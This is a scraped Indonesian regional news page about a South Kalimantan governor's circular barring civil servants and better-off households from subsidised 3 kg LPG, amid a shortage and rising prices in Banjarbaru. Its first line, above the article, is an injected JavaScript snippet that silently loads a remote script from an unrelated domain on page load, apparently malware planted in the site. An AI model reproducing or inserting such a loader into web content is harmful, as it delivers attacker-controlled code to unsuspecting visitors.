(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Gubernur : ASN di Lingkup Kalsel Dilarang Pakai LPG 3 Kg!


Kelangkaan gas LPG 3kg di pasaran sebenarnya telah diantisipasi Pemprov Kalsel dengan membuat Surat Edaran Gubernur No No 510/01594/SARPRASKODA tentang Penggunaan LPG tabung 3 Kg. Dalam surat yang ditantantangani Gubernur Sahbirin Noor tersebut, dicantumkan siapa saja yang berhak untuk menggunakan tabung gas LPG 3 kg.

Namun sayang, fakta di lapangan masih banyak kalangan mampu berpenghasilan lebih dari cukup yang masih menggunakan LPG 3 kg. Hal ini, tak ayal menjadi salah satu sebab kelangkaan LPG 3 kg karena jatah yang semestinya diguanakan untuk masyarakat golongan tertentu, ternyata diambil oleh masyarakat yang lain. (Baca: LPG 3 Kg ‘Menghilang’ Jelang Tutup Tahun, Harga di Pengecer Tembus Rp 40 Ribu)

Dalam Surat Edaran yang merujuk pada Peraturan Menteri Energi dan Sumber Daya Mineral No 26 Tahun 2009 tentang penyediaan dan pendistribusian LPG tabung ukuran 3 kg, dicantumkan golongan tertentu diimbau untuk tidak menggunakan. Salah satunya adalah ASN (Apartur Sipil Negara) di Lingkup Kalimantan Selatan!

Kenapa ASN tidak diperbolehkan? Alasannya, karena ASN tentunya memiliki penghasilan lebih yang mampu untuk membeli gas non subsidi.

Selain itu, juga berlaku bagi para pelaku usaha selain usaha mikro yang memiliki kekayaan bersih lebih dari Rp 50 juta, tidak termasuk tanah dan bangunan tempat usaha atau memiliki hasil penjualan tahunan lebih dari Rp 300 juta rupiah.

Pun demikian dengan masyarakat di wilayah Kalsel yang mempunyai penghasilan lebih dari Rp 1,5 juta per bulan,  dan tidak memiliki surat keterangan tidak mampu dari kelurahan atau desa setempat.

Pantauan wartawan Kanalkalimantan.com  di sejumlah lokasi memang mendapati kios ataupun toko pengecer LPG 3 kg tak memiliki persediaan alias kosong. Seperti halnya di toko milik Tauhid (53) yang menjadi salah satu pengecer LPG 3 kg di Pasar Banjarbaru.

Dia mengatakan, dalam beberapa hari ini toko miliknya belum mendapat kiriman jatah elpiji. Sementara untuk LPG non subsidi ukuran 5,5 kg dan 12 kg tetap tersedia. Kalaupun ada stok, jumlahnya pun terbatas dan dia biasa menjual dengan kisaran harga Rp 24-25 ribu. “Saya jual segitu karena saya mengambil dengan harga Rp 21-22 ribu per tabung,” jelasnya.

Di kawasan Guntung Payung, Landasan Ulin, sebuah kios malah menjual LPG 3 kg seharga Rp 30 ribu. Mahalnya harga yang ditetapkan dari harga normal sekitar Rp 14.750, karena terbatasnya stok barang.(devi)

Kelangkaan LPG 3 kg seringkali terjadi di sejumlah daerah membuat masyarakat panik sehingga terjadi kenaikan harga berkali lipat. Foto : abdullah


Desy Arfianty

Recent Posts

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

10 menit ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

31 menit ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

59 menit ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

1 jam ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

17 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

19 jam ago

This website uses cookies.